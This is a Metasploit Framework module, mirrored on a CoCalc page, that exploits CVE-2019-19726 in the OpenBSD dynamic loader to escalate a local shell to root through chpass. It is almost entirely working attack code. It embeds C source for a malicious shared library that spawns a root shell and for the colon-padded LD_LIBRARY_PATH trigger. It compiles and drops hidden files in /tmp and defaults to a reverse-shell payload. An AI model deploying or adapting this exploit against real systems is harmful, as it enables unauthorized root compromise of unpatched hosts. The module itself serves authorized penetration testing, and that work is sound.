CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/openbsd/local/dynamic_loader_chpass_privesc.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Unix
11
include Msf::Exploit::EXE
12
include Msf::Exploit::FileDropper
13
prepend Msf::Exploit::Remote::AutoCheck
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'OpenBSD Dynamic Loader chpass Privilege Escalation',
20
'Description' => %q{
21
This module exploits a vulnerability in the OpenBSD `ld.so`
22
dynamic loader (CVE-2019-19726).
23
24
The `_dl_getenv()` function fails to reset the `LD_LIBRARY_PATH`
25
environment variable when set with approximately `ARG_MAX` colons.
26
27
This can be abused to load `libutil.so` from an untrusted path,
28
using `LD_LIBRARY_PATH` in combination with the `chpass` set-uid
29
executable, resulting in privileged code execution.
30
31
This module has been tested successfully on:
32
33
OpenBSD 6.1 (amd64); and
34
OpenBSD 6.6 (amd64)
35
},
36
'License' => MSF_LICENSE,
37
'Author' => [
38
'Qualys', # Discovery and exploit
39
'bcoles' # Metasploit
40
],
41
'DisclosureDate' => '2019-12-11',
42
'Platform' => %w[bsd unix], # OpenBSD
43
'Arch' => [ARCH_CMD],
44
'SessionTypes' => ['shell'],
45
'References' => [
46
['CVE', '2019-19726'],
47
['EDB', '47780'],
48
['URL', 'https://blog.qualys.com/laws-of-vulnerabilities/2019/12/11/openbsd-local-privilege-escalation-vulnerability-cve-2019-19726'],
49
['URL', 'https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt'],
50
['URL', 'https://www.openwall.com/lists/oss-security/2019/12/11/9'],
51
['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2019-19726/openbsd-dynamic-loader-chpass'],
52
['URL', 'https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013_ldso.patch.sig']
53
],
54
'Targets' => [['Automatic', {}]],
55
'DefaultOptions' => {
56
'PAYLOAD' => 'cmd/unix/reverse',
57
'WfsDelay' => 10
58
},
59
'DefaultTarget' => 0,
60
'Notes' => {
61
'Stability' => [CRASH_SAFE],
62
'Reliability' => [REPEATABLE_SESSION],
63
'SideEffects' => [ARTIFACTS_ON_DISK]
64
}
65
)
66
)
67
register_options([
68
OptString.new('CHPASS_PATH', [true, 'Path to chpass', '/usr/bin/chpass'])
69
])
70
register_advanced_options([
71
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
72
])
73
end
74
75
def base_dir
76
datastore['WritableDir'].to_s
77
end
78
79
def chpass_path
80
datastore['CHPASS_PATH']
81
end
82
83
def upload(path, data)
84
print_status("Writing '#{path}' (#{data.size} bytes) ...")
85
rm_f(path)
86
write_file(path, data)
87
register_file_for_cleanup(path)
88
end
89
90
def libutil_name
91
return unless command_exists?('readelf')
92
93
cmd_exec('readelf -a /usr/sbin/pwd_mkdb').to_s.scan(/\[(libutil\.so\.[\d.]+)\]/).flatten.first
94
end
95
96
def check
97
patches = cmd_exec('syspatch -l').to_s
98
patch = '013_ldso'
99
100
return CheckCode::Safe("Patch #{patch} has been installed. Target is not vulnerable.") if patches.include?(patch)
101
102
return CheckCode::Safe("Patch #{patch} is not present, but cc compiler is not installed.") unless command_exists?('cc')
103
104
vprint_good('cc is installed')
105
106
CheckCode::Detected("Patch #{patch} is not present")
107
end
108
109
def exploit
110
if !datastore['ForceExploit'] && is_root?
111
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
112
end
113
114
unless writable?(base_dir)
115
fail_with Failure::BadConfig, "#{base_dir} is not writable"
116
end
117
118
# Qualys set-uid shared object from https://www.openwall.com/lists/oss-security/2019/12/11/9
119
lib_data = <<~EOF
120
#include <paths.h>
121
#include <unistd.h>
122
123
static void __attribute__ ((constructor)) _init (void) {
124
if (setuid(0) != 0) _exit(__LINE__);
125
if (setgid(0) != 0) _exit(__LINE__);
126
char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL };
127
execve(argv[0], argv, NULL);
128
_exit(__LINE__);
129
}
130
EOF
131
132
libs = []
133
lib = libutil_name
134
if lib
135
libs << lib
136
print_good("Found libutil.so name: #{lib}")
137
else
138
libs << 'libutil.so.12.1'
139
libs << 'libutil.so.13.1'
140
print_warning("Could not determine libutil.so name. Using: #{libs.join(', ')}")
141
end
142
143
lib_src_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}.c"
144
upload lib_src_path, lib_data
145
libs.each do |lib_name|
146
lib_path = "#{base_dir}/#{lib_name}"
147
print_status("Compiling #{lib_path} ...")
148
output = cmd_exec("cc -fpic -shared -s -o #{lib_path} #{lib_src_path} -Wall")
149
register_file_for_cleanup(lib_path)
150
151
unless output.blank?
152
print_error(output)
153
fail_with(Failure::Unknown, "#{lib_path}.c failed to compile")
154
end
155
end
156
157
# Qualys exploit from https://www.openwall.com/lists/oss-security/2019/12/11/9
158
exploit_data = <<~EOF
159
#include <string.h>
160
#include <sys/param.h>
161
#include <sys/resource.h>
162
#include <unistd.h>
163
164
int
165
main(int argc, char * const * argv)
166
{
167
#define LLP "LD_LIBRARY_PATH=."
168
static char llp[ARG_MAX - 128];
169
memset(llp, ':', sizeof(llp)-1);
170
memcpy(llp, LLP, sizeof(LLP)-1);
171
char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL };
172
173
#define DATA (ARG_MAX * sizeof(char *))
174
const struct rlimit data = { DATA, DATA };
175
if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);
176
177
if (argc <= 1) _exit(__LINE__);
178
argv += 1;
179
execve(argv[0], argv, envp);
180
_exit(__LINE__);
181
}
182
EOF
183
184
exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
185
upload("#{exploit_path}.c", exploit_data)
186
print_status("Compiling #{exploit_path} ...")
187
output = cmd_exec("cc -s #{exploit_path}.c -o #{exploit_path} -Wall")
188
register_file_for_cleanup(exploit_path)
189
190
unless output.blank?
191
print_error(output)
192
fail_with(Failure::Unknown, "#{exploit_path}.c failed to compile")
193
end
194
195
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
196
upload(payload_path, "#!/bin/sh\n#{payload.encoded}\n")
197
chmod(payload_path)
198
199
print_status('Launching exploit...')
200
output = cmd_exec("cd #{base_dir};echo '#{payload_path}&exit'|#{exploit_path} #{chpass_path}")
201
output.each_line { |line| vprint_status line.chomp }
202
end
203
end
204
205